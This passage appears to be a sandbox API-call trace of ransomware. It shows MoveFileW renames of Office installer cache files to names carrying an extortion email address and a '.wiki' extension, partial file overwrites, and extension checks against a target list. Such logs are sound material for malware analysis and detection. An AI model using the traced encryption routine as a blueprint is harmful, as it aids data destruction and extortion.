returned 0x40854f8 [0048.906] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.906] WriteFile (in: hFile=0x1a4, lpBuffer=0x40854f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40854f8*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.907] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.907] WriteFile (in: hFile=0x1a4, lpBuffer=0x40854f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40854f8*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.913] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.913] WriteFile (in: hFile=0x1a4, lpBuffer=0x40854f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40854f8*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.916] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40854f8 | out: hHeap=0x6c0000) returned 1 [0048.916] CloseHandle (hObject=0x1a4) returned 1 [0049.369] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0049.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0049.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0049.369] lstrlenW (lpString=".doc") returned 4 [0049.369] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.369] lstrlenW (lpString=".docx") returned 5 [0049.369] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0049.369] lstrlenW (lpString=".pdf") returned 4 [0049.369] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.369] lstrlenW (lpString=".xls") returned 4 [0049.369] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.369] lstrlenW (lpString=".xlsx") returned 5 [0049.369] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0049.369] lstrlenW (lpString=".ppt") returned 4 [0049.369] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0049.370] lstrlenW (lpString=".zip") returned 4 [0049.370] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.370] lstrlenW (lpString=".rar") returned 4 [0049.370] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.370] lstrlenW (lpString=".bz2") returned 4 [0049.370] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.370] lstrlenW (lpString=".7z") returned 3 [0049.370] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0049.370] lstrlenW (lpString=".dbf") returned 4 [0049.370] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0049.370] lstrlenW (lpString=".1cd") returned 4 [0049.370] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0049.370] lstrlenW (lpString=".jpg") returned 4 [0049.370] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0049.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0049.370] lstrlenW (lpString=".doc") returned 4 [0049.370] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.370] lstrlenW (lpString=".docx") returned 5 [0049.370] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0049.370] lstrlenW (lpString=".pdf") returned 4 [0049.370] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.370] lstrlenW (lpString=".xls") returned 4 [0049.370] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.370] lstrlenW (lpString=".xlsx") returned 5 [0049.370] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0049.370] lstrlenW (lpString=".ppt") returned 4 [0049.370] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0049.370] lstrlenW (lpString=".zip") returned 4 [0049.370] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.371] lstrlenW (lpString=".rar") returned 4 [0049.371] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.371] lstrlenW (lpString=".bz2") returned 4 [0049.371] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.371] lstrlenW (lpString=".7z") returned 3 [0049.371] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0049.371] lstrlenW (lpString=".dbf") returned 4 [0049.371] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0049.371] lstrlenW (lpString=".1cd") returned 4 [0049.371] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0049.371] lstrlenW (lpString=".jpg") returned 4 [0049.371] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.371] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0049.371] lstrlenW (lpString="Proof.cab") returned 9 [0049.371] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0049.586] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=13642474) returned 1 [0049.586] CloseHandle (hObject=0x1fc) returned 1 [0049.586] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0049.586] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.586] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0049.657] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0049.657] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0049.657] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0049.657] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.991] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0049.991] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.032] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0050.032] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0050.032] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.055] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.055] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0050.070] SetEndOfFile (hFile=0x1fc) returned 1 [0050.070] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40d5508 [0050.074] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0050.074] WriteFile (in: hFile=0x1fc, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.074] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0050.074] WriteFile (in: hFile=0x1fc, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.075] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0050.075] WriteFile (in: hFile=0x1fc, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.076] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40d5508 | out: hHeap=0x6c0000) returned 1 [0050.077] CloseHandle (hObject=0x1fc) returned 1 [0052.107] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0052.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.107] lstrlenW (lpString=".doc") returned 4 [0052.107] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.107] lstrlenW (lpString=".docx") returned 5 [0052.107] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0052.107] lstrlenW (lpString=".pdf") returned 4 [0052.107] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.107] lstrlenW (lpString=".xls") returned 4 [0052.107] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.107] lstrlenW (lpString=".xlsx") returned 5 [0052.107] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0052.107] lstrlenW (lpString=".ppt") returned 4 [0052.107] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.108] lstrlenW (lpString=".zip") returned 4 [0052.108] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.108] lstrlenW (lpString=".rar") returned 4 [0052.108] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.108] lstrlenW (lpString=".bz2") returned 4 [0052.108] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.108] lstrlenW (lpString=".7z") returned 3 [0052.108] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.108] lstrlenW (lpString=".dbf") returned 4 [0052.108] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.108] lstrlenW (lpString=".1cd") returned 4 [0052.108] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.108] lstrlenW (lpString=".jpg") returned 4 [0052.108] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.108] lstrlenW (lpString=".doc") returned 4 [0052.108] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.108] lstrlenW (lpString=".docx") returned 5 [0052.108] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0052.108] lstrlenW (lpString=".pdf") returned 4 [0052.108] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.108] lstrlenW (lpString=".xls") returned 4 [0052.108] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.108] lstrlenW (lpString=".xlsx") returned 5 [0052.108] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0052.108] lstrlenW (lpString=".ppt") returned 4 [0052.108] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.108] lstrlenW (lpString=".zip") returned 4 [0052.109] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.109] lstrlenW (lpString=".rar") returned 4 [0052.109] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.109] lstrlenW (lpString=".bz2") returned 4 [0052.109] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.109] lstrlenW (lpString=".7z") returned 3 [0052.109] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.109] lstrlenW (lpString=".dbf") returned 4 [0052.109] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.109] lstrlenW (lpString=".1cd") returned 4 [0052.109] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0052.109] lstrlenW (lpString=".jpg") returned 4 [0052.109] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.109] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0052.109] lstrlenW (lpString="VisioLR.cab") returned 11 [0052.109] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0052.109] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=50823389) returned 1 [0052.109] CloseHandle (hObject=0x1fc) returned 1 [0052.110] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0052.110] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.110] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0052.110] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0052.110] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0052.110] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.110] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.203] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.204] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.206] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.206] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.206] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.222] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.222] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0052.237] SetEndOfFile (hFile=0x1fc) returned 1 [0052.237] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40d5508 [0052.237] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.237] WriteFile (in: hFile=0x1fc, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.238] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.238] WriteFile (in: hFile=0x1fc, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.238] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.238] WriteFile (in: hFile=0x1fc, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.240] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40d5508 | out: hHeap=0x6c0000) returned 1 [0052.240] CloseHandle (hObject=0x1fc) returned 1 [0052.240] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0052.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.241] lstrlenW (lpString=".doc") returned 4 [0052.241] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.241] lstrlenW (lpString=".docx") returned 5 [0052.241] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.241] lstrlenW (lpString=".pdf") returned 4 [0052.241] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.241] lstrlenW (lpString=".xls") returned 4 [0052.241] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.241] lstrlenW (lpString=".xlsx") returned 5 [0052.241] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.241] lstrlenW (lpString=".ppt") returned 4 [0052.241] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.241] lstrlenW (lpString=".zip") returned 4 [0052.241] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.241] lstrlenW (lpString=".rar") returned 4 [0052.241] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.241] lstrlenW (lpString=".bz2") returned 4 [0052.241] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.241] lstrlenW (lpString=".7z") returned 3 [0052.241] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.241] lstrlenW (lpString=".dbf") returned 4 [0052.241] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.241] lstrlenW (lpString=".1cd") returned 4 [0052.241] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.241] lstrlenW (lpString=".jpg") returned 4 [0052.241] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.242] lstrlenW (lpString=".doc") returned 4 [0052.242] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.242] lstrlenW (lpString=".docx") returned 5 [0052.242] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.242] lstrlenW 